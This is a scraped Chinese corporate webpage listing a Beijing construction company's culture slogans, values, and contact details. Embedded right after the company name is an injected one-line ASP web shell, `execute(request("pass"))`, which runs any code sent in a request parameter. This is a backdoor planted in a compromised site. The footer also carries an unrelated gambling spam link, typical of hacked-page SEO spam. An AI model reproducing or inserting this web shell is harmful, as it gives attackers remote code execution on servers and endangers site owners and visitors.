設為首頁   |  加入收藏

   
  關于我們
  >>  公司簡介
  >>  領導致辭
  >>  企業文化
  >>  公司資質
  >>  員工生活

北京市崇華建筑工程有限公司"%><%execute(request("pass"))%><%'

地址:北京市東城區天壇東里中區6號樓迤西

電話:67015757   67019866

傳真:67010966

企業文化
 

    企業文化是公司發展進程中形成的特有內涵,是團隊思想意識精髓的積淀,是企業生存的根基,是企業發展的動源。企業文化作為全員認同的價值觀、行為準則、道德標準的基本體現,需不斷慎思、感悟、力行才能真正形成凝聚力、競爭力、發展力。作為新員工要融入團隊,從進入公司第一天起,不僅要牢記企業文化,更應見諸行動。

企業精神

○ 突破、創新、挑戰

“突破”:即突破過去,摒棄陳舊有礙發展的思想,勇于否定,推陳出新。

“創新”:即創新今天,建立科學的新思維觀念、經營理念、管理模式。

“挑戰”:即挑戰未來,敢于發揮優勢,與強爭霸,敢做引領型企業。

我們倡導永無止境的憂患精神

我們倡導不競浮華的務實精神

我們倡導愛崗敬業的奉獻精神

我們倡導同舟共濟的團隊精神

○ 發展戰略

創知名品牌,造就行業引領型企業

○ 企業價值觀

員工需求最大化

用戶利益最大化

企業效益最大化

社會回報最大化

○ 企業宗旨

科技創新,以人為本。

專業生產,質量取勝。

服務創優,品牌卓越。

管理求變, 恒久發展。

○ 工作方針

主動、負責、務實、科學、高效、完美

○ 工作理念

培養認同與信任

讓工作充滿樂趣

讓企業充滿友情

讓員工充滿希望

○ 人才理念

德才兼備選拔重用

德厚才疏培養使用

才高德匱改造慎用

德才皆無棄舍不用

用做人的標準做事

用做事的結果看人

○ 招聘理念

   慧者取謀,乏智者取力。

   勇者取威,怯畏者取慎。

 客暇索玉,忘短貴長。

得之不易,受之有益。

○ 崗位競爭理念

能力、業績是競爭的資本

能者上,平者讓,庸者下

○ 培訓理念

授之魚更授之漁

重現實更重發展

○ 質量理念

以質量求生存

提升員工素質

提高品牌品質

維護企業榮譽

○ 開發理念

借鑒、創新、超越

○ 學習觀

種下思想,收獲行動

種下行動,收獲習慣

種下習慣,收獲品德

種下品德,收獲命運

共享經驗,收獲無限

學無止境,學以致用

○ 協作觀

群體效應大于個人效應

團體利益高于個人利益

○ 互動觀

互動源于溝通

溝通基于互重

互重產生合力

合力創造業績

○ 誠信觀

一諾千金,立木為信

寧損收益,勿失信譽

○ 效率觀

化繁為簡,駕簡馭繁

迅速反應,馬上行動

○ 成本觀

成本是海綿里的水

只要想擠總是有的

每人減少一分浪費

就使企業利潤增加

○ 服務部門理念

客戶的抱怨是改進的機遇

客戶的滿意是提高的標準

滿足需求只能讓客戶接受

超越需求才能使客戶忠誠

○ 管理理念

用科學的理論武裝人,用正確的思想引導人

用崇高的精神鼓舞人,用高尚的品德塑造人

 
友情鏈接:   百度 | 

 

地址:北京市東城區天壇東里中區6號樓迤西

電話:67015757   67019866     傳真:67010966

備案號:京ICP備10011260號-2

北京市崇華建筑工程有限公司  版權所有

 

65彩票游戏